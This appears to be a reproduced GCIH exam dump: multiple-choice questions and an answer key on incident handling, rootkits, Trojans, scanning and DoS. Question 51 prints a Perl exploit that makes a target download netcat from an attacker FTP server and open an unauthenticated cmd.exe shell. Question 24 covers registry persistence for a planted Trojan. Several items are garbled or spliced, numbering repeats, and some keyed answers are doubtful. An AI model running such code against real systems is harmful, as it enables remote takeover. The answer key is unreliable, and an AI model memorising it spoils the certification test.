GIAC

Exam Questions GCIH

GIAC Certified Incident Handler

NEW QUESTION 1
Adam, a novice computer user, works primarily from home as a medical professional. He just bought a brand new Dual Core Pentium computer with over 3 GB of RAM. After about two months of working on his new computer, he notices that it is not running nearly as fast as it used to. Adam uses antivirus software, anti-spyware software, and keeps the computer up-to-date with Microsoft patches. After another month of working on the computer, Adam finds that his computer is even more noticeably slow. He also notices a window or two pop-up on his screen, but they quickly disappear. He has seen these windows show up, even when he has not been on the Internet. Adam notices that his computer only has about 10 GB of free space available. Since his hard drive is a 200 GB hard drive, Adam thinks this is very odd.
Which of the following is the mostly likely the cause of the problem?

A. Computer is infected with the stealth kernel level rootkit.
B. Computer is infected with stealth virus.
C. Computer is infected with the Stealth Trojan Virus.
D. Computer is infected with the Self-Replication Worm.

Answer: A

NEW QUESTION 2
Which of the following types of attack can guess a hashed password?

A. Brute force attack
B. Evasion attack
C. Denial of Service attack
D. Teardrop attack

Answer: A

NEW QUESTION 3
John works as a professional Ethical Hacker. He has been assigned the project of testing the security of www.we-are-secure.com. He finds that the We-are-secure server is vulnerable to attacks. As a countermeasure, he suggests that the Network Administrator should remove the IPP printing capability from the server. He is suggesting this as a countermeasure against __________.

A. IIS buffer overflow
B. NetBIOS NULL session
C. SNMP enumeration
D. DNS zone transfer

Answer: A

NEW QUESTION 4
Buffer overflows are one of the major errors used for exploitation on the Internet today. A buffer overflow occurs when a particular operation/function writes more data into a variable than the variable was designed to hold.
Which of the following are the two popular types of buffer overflows?
Each correct answer represents a complete solution. Choose two.

A. Dynamic buffer overflows
B. Stack based buffer overflow
C. Heap based buffer overflow
D. Static buffer overflows

Answer: BC

NEW QUESTION 5
CORRECT TEXT
Fill in the blank with the appropriate word.
StackGuard (as used by Immunix), ssp/ProPolice (as used by OpenBSD), and Microsoft's /GS option use ______ defense against buffer overflow attacks.

A.

Answer: canary

NEW QUESTION 6
Which of the following commands is used to access Windows resources from Linux workstation?

A. mutt
B. scp
C. rsync
D. smbclient

Answer: D

NEW QUESTION 7
Adam, a malicious hacker, wants to perform a reliable scan against a remote target. He is not concerned about being stealth at this point.
Which of the following type of scans would be most accurate and reliable?

A. UDP sacn

B. TCP Connect scan
C. ACK scan
D. Fin scan

Answer: B

NEW QUESTION 8
You see the career section of a company's Web site and analyze the job profile requirements. You conclude that the company wants professionals who have a sharp knowledge of Windows server 2003 and Windows active directory installation and placement. Which of the following steps are you using to perform hacking?

A. Scanning
B. Covering tracks
C. Reconnaissance
D. Gaining access

Answer: C

NEW QUESTION 9
You work as a Network Administrator for Tech Perfect Inc. The company has a TCP/IP-based network. An attacker uses software that keeps trying password combinations until the correct password is found. Which type of attack is this?

A. Denial-of-Service
B. Man-in-the-middle
C. Brute Force
D. Vulnerability

Answer: C

NEW QUESTION 10
You work as a Network Administrator for Infonet Inc. The company has a Windows Server 2008 Active Directory-based single domain single forest network. The company has three Windows 2008 file servers, 150 Windows XP Professional, thirty UNIX-based client computers. The network users have identical user accounts for both Active Directory and the UNIX realm. You want to ensure that the UNIX clients on the network can access the file servers. You also want to ensure that the users are able to access all resources by logging on only once, and that no additional software is installed on the UNIX clients. What will you do to accomplish this task?
Each correct answer represents a part of the solution. Choose two.

A. Configure a distributed file system (Dfs) on the file server in the network.
B. Enable the Network File System (NFS) component on the file servers in the network.
C. Configure ADRMS on the file servers in the network.
D. Enable User Name Mapping on the file servers in the network.

Answer: BD

NEW QUESTION 10
Which of the following methods can be used to detect session hijacking attack?

A. nmap
B. Brutus
C. ntop
D. sniffer

Answer: D

NEW QUESTION 15
Which of the following attacks come under the category of layer 2 Denial-of-Service attacks?
Each correct answer represents a complete solution. Choose all that apply.

A. Spoofing attack
B. SYN flood attack
C. Password cracking
D. RF jamming attack

Answer: AB

NEW QUESTION 20
Which of the following tools combines two programs, and also encrypts the resulting package in an attempt to foil antivirus programs?

A. Trojan Man
B. EliteWrap
C. Tiny
D. NetBus

Answer: A

NEW QUESTION 22

Which of the following is spy software that records activity on Macintosh systems via snapshots, keystrokes, and Web site logging?

A. Spector
B. Magic Lantern
C. eblaster
D. NetBus

Answer: A

NEW QUESTION 23
You work as a Network Administrator for Net Perfect Inc. The company has a Windows-based network. The company wants to fix potential vulnerabilities existing on the tested systems. You use Nessus as a vulnerability scanning program to fix the vulnerabilities. Which of the following vulnerabilities can be fixed using Nessus?
Each correct answer represents a complete solution. Choose all that apply.

A. Misconfiguration (e.
B. open mail relay, missing patches, etc.)
C. Vulnerabilities that allow a remote cracker to control sensitive data on a system
D. Vulnerabilities that allow a remote cracker to access sensitive data on a system
E. Vulnerabilities that help in Code injection attacks

Answer: ABC

NEW QUESTION 24
You have inserted a Trojan on your friend's computer and you want to put it in the startup so that whenever the computer reboots the Trojan will start to run on the startup. Which of the following registry entries will you edit to accomplish the task?

A. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Startup
B. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Auto
C. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
D. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Start

Answer: C

NEW QUESTION 26
Which of the following is the best method of accurately identifying the services running on a victim host?

A. Use of the manual method of telnet to each of the open ports.
B. Use of a port scanner to scan each port to confirm the services running.
C. Use of hit and trial method to guess the services and ports of the victim host.
D. Use of a vulnerability scanner to try to probe each port to verify which service is running.

Answer: A

NEW QUESTION 28
Which of the following Nmap commands is used to perform a UDP port scan?

A. nmap -sY
B. nmap -sS
C. nmap -sN
D. nmap -sU

Answer: D

NEW QUESTION 33
You are responsible for security at a company that uses a lot of Web applications. You are most concerned about flaws in those applications allowing some attacker to get into your network. What method would be best for finding such flaws?

A. Manual penetration testing
B. Code review
C. Automated penetration testing
D. Vulnerability scanning

Answer: D

NEW QUESTION 37
Which of the following characters will you use to check whether an application is vulnerable to an SQL injection attack?

A. Dash (-)
B. Double quote (")
C. Single quote (')
D. Semi colon (;)

Answer: C

NEW QUESTION 38

Which of the following Incident handling process phases is responsible for defining rules, collaborating human workforce, creating a back-up plan, and testing the plans for an enterprise?

A. Preparation phase
B. Eradication phase
C. Identification phase
D. Recovery phase
E. Containment phase

Answer: A

NEW QUESTION 40
Which of the following is designed to protect the Internet resolvers (clients) from forged DNS data created by DNS cache poisoning?

A. Stub resolver
B. BINDER
C. Split-horizon DNS
D. Domain Name System Extension (DNSSEC)

Answer: D

NEW QUESTION 44
You work as a Network Administrator for InformSec Inc. You find that the TCP port number 23476 is open on your server. You suspect that there may be a Trojan named Donald Dick installed on your server. Now you want to verify whether Donald Dick is installed on it or not. For this, you want to know the process running on port 23476, as well as the process id, process name, and the path of the process on your server. Which of the following applications will you most likely use to accomplish the task?

A. Tripwire
B. SubSeven
C. Netstat
D. Fport

Answer: D

NEW QUESTION 46
The Klez worm is a mass-mailing worm that exploits a vulnerability to open an executable attachment even in Microsoft Outlook's preview pane. The Klez worm gathers email addresses from the entries of the default Windows Address Book (WAB). Which of the following registry values can be used to identify this worm?

A. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
B. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
C. HKEY_CURRENT_USER\Software\Microsoft\WAB\WAB4\Wab File Name = "file and pathname of the WAB file"
D. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Answer: C

NEW QUESTION 50
Who are the primary victims of smurf attacks on the contemporary Internet system?

A. IRC servers are the primary victims to smurf attacks
B. FTP servers are the primary victims to smurf attacks
C. SMTP servers are the primary victims to smurf attacks
D. Mail servers are the primary victims to smurf attacks

Answer: A

NEW QUESTION 51
Adam, a malicious hacker performs an exploit, which is given below:

```
########################################################
$port = 53;
# Spawn cmd.exe on port X
$your = "192.168.1.1";# Your FTP Server 89
$user = "Anonymous";# login as
$pass = 'noone@nowhere.com';# password
########################################################
$host = $ARGV[0];
print "Starting ...\n";
print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C \"echo
open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system("perl msadc.pl -h
$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>sasfile\"");
system("perl msadc.pl -h $host C \"echo get hacked. html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is downloading ...
\n";
system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is finished ...
(Have a ftp server)\n";
$o=; print "Opening ...\n";
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n"; #system("telnet $host $port"); exit(0);
```

Which of the following is the expected result of the above exploit?

A. Creates a share called "sasfile" on the target system

B. Creates an FTP server with write permissions enabled
C. Opens up a SMTP server that requires no username or password
D. Opens up a telnet listener that requires no username or password

Answer: D

NEW QUESTION 53
You work as a Penetration Tester for the Infosec Inc. Your company takes the projects of security auditing. Recently, your company has assigned you a project to test the security of the we- aresecure.com Web site. For this, you want to perform the idle scan so that you can get the ports open in the we-are-secure.com server. You are using Hping tool to perform the idle scan by using a zombie computer. While scanning, you notice that every IPID is being incremented on every query, regardless whether the ports are open or close. Sometimes, IPID is being incremented by more than one value.
What may be the reason?

A. The firewall is blocking the scanning process.
B. The zombie computer is not connected to the we-are-secure.com Web server.
C. The zombie computer is the system interacting with some other system besides your computer.
D. Hping does not perform idle scanning.

Answer: C

NEW QUESTION 58
Which of the following statements are true about session hijacking?
Each correct answer represents a complete solution. Choose all that apply.

A. Use of a long random number or string as the session key reduces session hijacking.
B. It is used to slow the working of victim's network resources.
C. TCP session hijacking is when a hacker takes over a TCP session between two machines.
D. It is the exploitation of a valid computer session to gain unauthorized access to information or services in a computer system.

Answer: ACD

NEW QUESTION 63
Victor works as a professional Ethical Hacker for SecureEnet Inc. He has been assigned a job to test an image, in which some secret information is hidden, using Steganography. Victor performs the following techniques to accomplish the task:

A. Mastered
B. Not Mastered

Answer: A

NEW QUESTION 65
Smoothening and decreasing contrast by averaging the pixels of the area where significant color transitions occurs.

A. Mastered
B. Not Mastered

Answer: A

NEW QUESTION 67
Sharpening, Rotating, Resampling, and Softening the image.
Which of the following Steganography attacks is Victor using?

A. Stegdetect Attack
B. Chosen-Stego Attack
C. Steg-Only Attack
D. Active Attacks

Answer: D

NEW QUESTION 70
Victor wants to send an encrypted message to his friend. He is using certain steganography technique to accomplish this task. He takes a cover object and changes it accordingly to hide information. This secret information is recovered only when the algorithm compares the changed cover with the original cover.
Which of the following Steganography methods is Victor using to accomplish the task?

A. The distortion technique
B. The spread spectrum technique
C. The substitution technique
D. The cover generation technique

Answer: A

NEW QUESTION 74
Which of the following is executed when a predetermined event occurs?

A. Trojan horse

B. Logic bomb
C. MAC
D. Worm

Answer: B

NEW QUESTION 75
Adam, a malicious hacker purposely sends fragmented ICMP packets to a remote target. The total size of this ICMP packet once reconstructed is over 65,536 bytes. On the basis of above information, which of the following types of attack is Adam attempting to perform?

A. Fraggle attack
B. Ping of death attack
C. SYN Flood attack
D. Land attack

Answer: B

NEW QUESTION 80
In which of the following attacks does an attacker create the IP packets with a forged (spoofed) source IP address with the purpose of concealing the identity of the sender or impersonating another computing system?

A. Rainbow attack
B. IP address spoofing
C. Cross-site request forgery
D. Polymorphic shell code attack

Answer: B

NEW QUESTION 82
CORRECT TEXT
Fill in the blank with the appropriate term.
______ is a free Unix subsystem that runs on top of Windows.

A.

Answer: Cygwin

NEW QUESTION 85
Which of the following tools uses common UNIX/Linux tools like the strings and grep commands to search core system programs for signatures of the rootkits?

A. rkhunter
B. OSSEC
C. chkrootkit
D. Blue Pill

Answer: C

NEW QUESTION 88
Which of the following rootkits is used to attack against full disk encryption systems?

A. Boot loader rootkit
B. Library rootkit
C. Hypervisor rootkit
D. Kernel level rootkit

Answer: A

NEW QUESTION 93
Andrew, a bachelor student of Faulkner University, creates a gmail account. He uses 'Faulkner' as the password for the gmail account. After a few days, he starts receiving a lot of e-mails stating that his gmail account has been hacked. He also finds that some of his important mails have been deleted by someone. Which of the following methods has the attacker used to crack Andrew's password?
Each correct answer represents a complete solution. Choose all that apply.

A. Denial-of-service (DoS) attack
B. Zero-day attack
C. Brute force attack
D. Social engineering
E. Buffer-overflow attack
F. Rainbow attack
G. Password guessing
H. Dictionary-based attack

Answer: CDFGH

NEW QUESTION 97

Against which of the following does SSH provide protection?
Each correct answer represents a complete solution. Choose two.

A. DoS attack
B. IP spoofing
C. Password sniffing
D. Broadcast storm

Answer: BC

NEW QUESTION 99
James works as a Database Administrator for Techsoft Inc. The company has a SQL Server 2005 computer. The computer has a database named Sales. Users complain that the performance of the database has deteriorated. James opens the System Monitor tool and finds that there is an increase in network traffic. What kind of attack might be the cause of the performance deterioration?

A. Denial-of-Service
B. Injection
C. Internal attack
D. Virus

Answer: A

NEW QUESTION 100
Which of the following rootkits is able to load the original operating system as a virtual machine, thereby enabling it to intercept all hardware calls made by the original operating system?

A. Kernel level rootkit
B. Boot loader rootkit
C. Hypervisor rootkit
D. Library rootkit

Answer: C

NEW QUESTION 103
John works as a Network Administrator for Net Perfect Inc. The company has a Windows-based network. The company uses Check Point SmartDefense to provide security to the network of the company. On the HTTP servers of the company, John defines a rule for dropping any kind of userdefined URLs. Which of the following types of attacks can be prevented by dropping the user- defined URLs?

A. Morris worm
B. Code red worm
C. Hybrid attacks
D. PTC worms and mutations

Answer: D

NEW QUESTION 106
Which of the following terms describes an attempt to transfer DNS zone data?

A. Reconnaissance
B. Encapsulation
C. Dumpster diving
D. Spam

Answer: A

NEW QUESTION 110
Which of the following keyloggers cannot be detected by anti-virus or anti-spyware products?

A. Kernel keylogger
B. Software keylogger
C. Hardware keylogger
D. OS keylogger

Answer: C

NEW QUESTION 113
Which of the following netcat parameters makes netcat a listener that automatically restarts itself when a connection is dropped?

A. -u
B. -l
C. -p
D. -L

Answer: D

NEW QUESTION 114

Which of the following tools can be used for network sniffing as well as for intercepting conversations through session hijacking?

A. Ethercap
B. Tripwire
C. IPChains
D. Hunt

Answer: D

NEW QUESTION 116
Maria works as the Chief Security Officer for Exambible Inc. She wants to send secret messages to the CEO of the company. To secure these messages, she uses a technique of hiding a secret message within an ordinary message. The technique provides 'security through obscurity'. What technique is Maria using?

A. Steganography
B. Public-key cryptography
C. RSA algorithm
D. Encryption

Answer: A

NEW QUESTION 118
A Denial-of-Service (DoS) attack is mounted with the objective of causing a negative impact on the performance of a computer or network. It is also known as network saturation attack or bandwidth consumption attack. Attackers perform DoS attacks by sending a large number of protocol packets to a network. The problems caused by a DoS attack are as follows:
l Saturation of network resources
l Disruption of connections between two computers, thereby preventing communications between services
l Disruption of services to a specific computer
l Failure to access a Web site
l Increase in the amount of spam
Which of the following can be used as countermeasures against DoS attacks?
Each correct answer represents a complete solution. Choose all that apply.

A. Blocking undesired IP addresses
B. Applying router filtering
C. Disabling unneeded network services
D. Permitting network access only to desired traffic

Answer: ABCD

NEW QUESTION 121
Maria works as a professional Ethical Hacker. She has been assigned the project of testing the security of www.gentech.com. She is using dumpster diving to gather information about Gentech Inc.
In which of the following steps of malicious hacking does dumpster diving come under?

A. Multi-factor authentication
B. Role-based access control
C. Mutual authentication
D. Reconnaissance

Answer: D

NEW QUESTION 122
Session splicing is an IDS evasion technique in which an attacker delivers data in multiple small- sized packets to the target computer. Hence, it becomes very difficult for an IDS to detect the attack signatures of such attacks. Which of the following tools can be used to perform session splicing attacks?
Each correct answer represents a complete solution. Choose all that apply.

A. Whisker
B. Fragroute
C. Nessus
D. Y.A.T.

Answer: AC

NEW QUESTION 127
You work as a Network Administrator for Net Perfect Inc. The company has a Windows-based network. The company uses Check Point SmartDefense to provide security to the network of the company. You use SmartDefense on the HTTP servers of the company to fix the limitation for the maximum number of response headers allowed.
Which of the following attacks will be blocked by defining this limitation?
Each correct answer represents a complete solution. Choose all that apply.

A. Land attack
B. Code red worm
C. Backdoor attack
D. User-defined worm

Answer: BD

NEW QUESTION 132
Which of the following types of attacks is targeting a Web server with multiple compromised computers that are simultaneously sending hundreds of FIN packets with spoofed IP source IP addresses?

A. Evasion attack
B. Insertion attack
C. DDoS attack
D. Dictionary attack

Answer: C

NEW QUESTION 134
When you conduct the XMAS scanning using Nmap, you find that most of the ports scanned do not give a response. What can be the state of these ports?

A. Filtered
B. Open
C. Closed

Answer: B

NEW QUESTION 139
Which of the following statements are true regarding SYN flood attack?

A. The attacker sends a succession of SYN requests to a target system.
B. SYN flood is a form of Denial-of-Service (DoS) attack.
C. The attacker sends thousands and thousands of ACK packets to the victim.
D. SYN cookies provide protection against the SYN flood by eliminating the resources allocated on the target host.

Answer: ABD

NEW QUESTION 144
Which of the following attacks involves multiple compromised systems to attack a single target?

A. Brute force attack
B. Replay attack
C. Dictionary attack
D. DDoS attack

Answer: D

NEW QUESTION 148
You are monitoring your network's behavior. You find a sudden increase in traffic on the network. It seems to come in bursts and emanate from one specific machine. You have been able to determine that a user of that machine is unaware of the activity and lacks the computer knowledge required to be responsible for a computer attack. What attack might this indicate?

A. Spyware
B. Ping Flood
C. Denial of Service
D. Session Hijacking

Answer: A

NEW QUESTION 152
US Garments wants all encrypted data communication between corporate office and remote location.
They want to achieve following results:
l Authentication of users
l Anti-replay
l Anti-spoofing
l IP packet encryption
They implemented IPSec using Authentication Headers (AHs). Which results does this solution provide? (Click the Exhibit button on the toolbar to see the case study.)
Each correct answer represents a complete solution. Choose all that apply.

A. Anti-replay
B. IP packet encryption
C. Authentication of users
D. Anti-spoofing

Answer: AD

NEW QUESTION 157
John works as an Ethical Hacker for Exambible Inc. He wants to find out the ports that are open in Exambible's server using a port scanner. However, he does not want to establish a full TCP connection.
Which of the following scanning techniques will he use to accomplish this task?

A. TCP FIN
B. TCP SYN/ACK

C. TCP SYN
D. Xmas tree

Answer: C

NEW QUESTION 161
Firewalking is a technique that can be used to gather information about a remote network protected by a firewall. This technique can be used effectively to perform information gathering attacks. In this technique, an attacker sends a crafted packet with a TTL value that is set to expire one hop past the firewall. Which of the following are pre-requisites for an attacker to conduct firewalking?
Each correct answer represents a complete solution. Choose all that apply.

A. An attacker should know the IP address of a host located behind the firewall.
B. ICMP packets leaving the network should be allowed.
C. There should be a backdoor installed on the network.
D. An attacker should know the IP address of the last known gateway before the firewall.

Answer: ABD

NEW QUESTION 165
Victor works as a professional Ethical Hacker for SecureNet Inc. He wants to use Steganographic file system method to encrypt and hide some secret information. Which of the following disk spaces will he use to store this secret information?
Each correct answer represents a complete solution. Choose all that apply.

A. Slack space
B. Hidden partition
C. Dumb space
D. Unused Sectors

Answer: ABD

NEW QUESTION 170
Which of the following are based on malicious code?
Each correct answer represents a complete solution. Choose two.

A. Denial-of-Service (DoS)
B. Biometrics
C. Trojan horse
D. Worm

Answer: CD

NEW QUESTION 173
John works as a Network Administrator for We-are-secure Inc. He finds that TCP port 7597 of the Weare- secure server is open. He suspects that it may be open due to a Trojan installed on the server. He presents a report to the company describing the symptoms of the Trojan. A summary of the report is given below:
Once this Trojan has been installed on the computer, it searches Notpad.exe, renames it Note.com, and then copies itself to the computer as Notepad.exe. Each time Notepad.exe is executed, the Trojan executes and calls the original Notepad to avoid being noticed.
Which of the following Trojans has the symptoms as the one described above?

A. NetBus
B. Qaz
C. eBlaster
D. SubSeven

Answer: B

NEW QUESTION 174
Alice wants to prove her identity to Bob. Bob requests her password as proof of identity, which Alice dutifully provides (possibly after some transformation like a hash function); meanwhile, Eve is eavesdropping the conversation and keeps the password. After the interchange is over, Eve connects to Bob posing as Alice; when asked for a proof of identity, Eve sends Alice's password read from the last session, which Bob accepts. Which of the following attacks is being used by Eve?

A. Replay
B. Firewalking
C. Session fixation
D. Cross site scripting

Answer: A

NEW QUESTION 179
Victor is a novice Ethical Hacker. He is learning the hacking process, i.e., the steps taken by malicious hackers to perform hacking. Which of the following steps is NOT included in the hacking process?

A. Scanning
B. Preparation
C. gaining access
D. Reconnaissance

Answer: B

NEW QUESTION 180
Which of the following types of rootkits replaces regular application binaries with Trojan fakes and modifies the behavior of existing applications using hooks, patches, or injected code?

A. Application level rootkit
B. Hypervisor rootkit
C. Kernel level rootkit
D. Boot loader rootkit

Answer: A

NEW QUESTION 184
Which of the following are the limitations for the cross site request forgery (CSRF) attack?
Each correct answer represents a complete solution. Choose all that apply.

A. The attacker must determine the right values for all the form inputs.
B. The attacker must target a site that doesn't check the referrer header.
C. The target site should have limited lifetime authentication cookies.
D. The target site should authenticate in GET and POST parameters, not only cookies.

Answer: AB

NEW QUESTION 188
Which of the following refers to a condition in which a hacker sends a bunch of packets that leave TCP ports half open?

A. Spoofing
B. Hacking
C. SYN attack
D. PING attack

Answer: C

NEW QUESTION 191
CORRECT TEXT
Fill in the blank with the appropriate option to complete the statement below.
You want to block all UDP packets coming to the Linux server using the portsentry utility. For this, you have to enable the ______ option in the portsentry configuration file.

A.

Answer: BLOCK_UDP

NEW QUESTION 192
Your friend plans to install a Trojan on your computer. He knows that if he gives you a new version of chess.exe, you will definitely install the game on your computer. He picks up a Trojan and joins it to chess.exe. The size of chess.exe was 526,895 bytes originally, and after joining this chess file to the Trojan, the file size increased to 651,823 bytes. When he gives you this new game, you install the infected chess.exe file on your computer. He now performs various malicious tasks on your computer remotely. But you suspect that someone has installed a Trojan on your computer and begin to investigate it. When you enter the netstat command in the command prompt, you get the following results:
C:\WINDOWS>netstat -an | find "UDP" UDP IP_Address:31337 *:*
Now you check the following registry address:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
In the above address, you notice a 'default' key in the 'Name' field having " .exe" value in the corresponding 'Data' field. Which of the following Trojans do you think your friend may have installed on your computer on the basis of the above evidence?

A. Qaz
B. Donald Dick
C. Tini
D. Back Orifice

Answer: D

NEW QUESTION 195
Which of the following scanning tools is also a network analysis tool that sends packets with nontraditional IP stack parameters and allows the scanner to gather information from the response packets generated?

A. Tcpview
B. Nessus
C. Legion
D. HPing

Answer: D

NEW QUESTION 198
You work as an Incident handler in Mariotrixt.Inc. You have followed the Incident handling process to handle the events and incidents. You identify Denial of Service attack (DOS) from a network linked to your internal enterprise network. Which of the following phases of the Incident handling process should you follow next to handle this incident?

A. Containment
B. Preparation
C. Recovery
D. Identification

Answer: A

NEW QUESTION 202
You are the Administrator for a corporate network. You are concerned about denial of service attacks.
Which of the following would be the most help against Denial of Service (DOS) attacks?

A. Packet filtering firewall
B. Network surveys.
C. Honey pot
D. Stateful Packet Inspection (SPI) firewall

Answer: D

NEW QUESTION 204
You want to measure the number of heaps used and overflows occurred at a point in time. Which of the following commands will you run to activate the appropriate monitor?

A. UPDATE DBM CONFIGURATION USING DFT_MON_TABLE
B. UPDATE DBM CONFIGURATION DFT_MON_TIMESTAMP
C. UPDATE DBM CONFIGURATION USING DFT_MON_BUFPOOL
D. UPDATE DBM CONFIGURATION USING DFT_MON_SORT

Answer: D

NEW QUESTION 208
Which of the following is the method of hiding data within another media type such as graphic or document?

A. Spoofing
B. Steganography
C. Packet sniffing
D. Cryptanalysis

Answer: B

NEW QUESTION 211
You want to connect to your friend's computer and run a Trojan on it. Which of the following tools will you use to accomplish the task?

A. PSExec
B. Remoxec
C. Hk.exe
D. GetAdmin.exe

Answer: A

NEW QUESTION 215
Which of the following rootkits adds additional code or replaces portions of an operating system, including both the kernel and associated device drivers?

A. Hypervisor rootkit
B. Boot loader rootkit
C. Kernel level rootkit
D. Library rootkit

Answer: C

NEW QUESTION 220
CORRECT TEXT
Fill in the blank with the correct numeric value.
ARP poisoning is achieved in ______ steps.

A.

Answer: 2

NEW QUESTION 222
Which of the following tools is used for port scanning?

A. NSLOOKUP
B. NETSH
C. Nmap
D. L0phtcrack

Answer: C

NEW QUESTION 225
Which of the following is used to gather information about a remote network protected by a firewall?

A. Warchalking
B. Wardialing
C. Firechalking
D. Firewalking

Answer: D

NEW QUESTION 229
Which of the following threats is a combination of worm, virus, and Trojan horse characteristics?

A. Spyware
B. Heuristic
C. Blended
D. Rootkits

Answer: C

NEW QUESTION 230
Which of the following are the rules by which an organization operates?

A. Acts
B. Policies
C. Rules
D. Manuals

Answer: B

NEW QUESTION 233
Which of the following applications is NOT used for passive OS fingerprinting?

A. Networkminer
B. Satori
C. p0f
D. Nmap

Answer: D

NEW QUESTION 237
Which of the following is used to determine the range of IP addresses that are mapped to a live hosts?

A. Port sweep
B. Ping sweep
C. IP sweep
D. Telnet sweep

Answer: B

NEW QUESTION 241
Which of the following is the Web 2.0 programming methodology that is used to create Web pages that are dynamic and interactive?

A. UML
B. Ajax
C. RSS
D. XML

Answer: B

NEW QUESTION 246
Drag and drop the mapping techniques to their respective descriptions.

A. Mastered
B. Not Mastered

Answer: A

Explanation:

NEW QUESTION 251
Choose the correct actions performed during the Eradication step of the incident handling process.

A. Mastered
B. Not Mastered

Answer: A

Explanation:

NEW QUESTION 255
Maria works as a professional Ethical Hacker. She recently got a project to test the security of www.we-are-secure.com. Arrange the three pre -test phases of the attack to test the security of weare-secure.

A. Mastered
B. Not Mastered

Answer: A

Explanation:

NEW QUESTION 258
......